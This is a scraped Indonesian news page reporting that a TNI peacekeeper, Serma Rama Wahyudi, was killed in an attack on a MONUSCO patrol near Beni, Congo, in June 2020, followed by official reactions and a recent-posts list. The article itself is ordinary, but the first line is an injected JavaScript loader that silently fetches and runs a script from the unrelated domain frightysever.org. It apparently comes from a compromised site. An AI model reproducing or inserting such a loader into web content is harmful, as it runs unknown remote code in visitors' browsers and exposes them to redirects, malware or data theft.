(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tentara Pasukan Perdamaian Indonesia Gugur di Kongo


KANALKALIMANTAN.COM, JAKARTA – Seorang prajurit TNI yang tergabung dalam misi perdamaian Perserikatan Bangsa Bangsa (PBB) gugur dalam tugas Senin (22/6/2020).

Prajurit TNI tersebut tergabung dalam satuan tugas (Satgas) Kizi TNI Kongo XX-Q/Monusco, di Kongo gugur saat menjalankan tugas.

Prajurit TNI yang ini bernama Serma Rama Wahyudi, ia gugur saat rombonganya diserang oleh kelompok bersenjata dalam tugas misi perdamaian PBB di Kongo.

Dilansir dari AFP Serma Rama Wahyudi gugur, sementara satu anggota TNI lainnya yakni Pratu Syafii Makbul mengalami luka-luka dan harus mendapatkan perawatan intensif.

Serangan terjadi saat Rama dan Syafii melaksanakan patroli bersama rombongan yang tergabung dalam pasukan perdamaian PBB di Kongo atau MONUSCO. Mereka diserang kelompok bersenjata sekitar 20 kilometer dari Kota Beni di Provinsi Kivu Utara, Sy Koumbo.

Menteri Luar Negeri, Retno Marsudi, menyampaikan duka mendalam dan meminta otoritas Kongo mengusut tuntas pelaku penyerangan.

Retno mengatakan, Dewan Keamanan PBB mengutuk keras peristiwa penyerangan itu. Retno meminta agar pemerintah Kongo melakukan investigasi dan mencari pelaku.

“DK PBB telah mengutuk keras serangan kepada MONUSCO dan meminta otoritas Kongo untuk melakukan investigasi dan membawa pelakunya ke meja pengadilan,” katanya.

KSAD Meminta Evaluasi Kesiapan Personil Misi Perdamaian

Kepala Staf TNI Angkatan Darat (KSAD) Jenderal TNI Andika Perkasa angkat bicara mengenai prajurit TNI yang gugur dalam misi perdamaian di Republik Demokratik Kongo. Andika mengatakan pihaknya akan menunggu kronologi gugurnya prajurit itu dan melakukan evaluasi mengenai kesiapan personel misi perdamaian.

“Itu adalah operasi di-handle Mabes TNI, tapi memang prajurit-prajurit kami, yang jelas kami akan mengevaluasi, dan kami ingin mendapat kronologi yang sebenarnya, sehingga kita bisa evaluasi apa yang sebenarnya yang terjadi sehingga walaupun kami hanya menyiapkan personil tapi penugasan semuanya dari Mabes TNI, kita bisa menyiapkan mereka (prajurit) lebih siap,” kata Andika pada Rabu (24/06/2020).(kanalkalimantan.com/rls/andy)

 

Reporter : Andy
Editor : KK

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.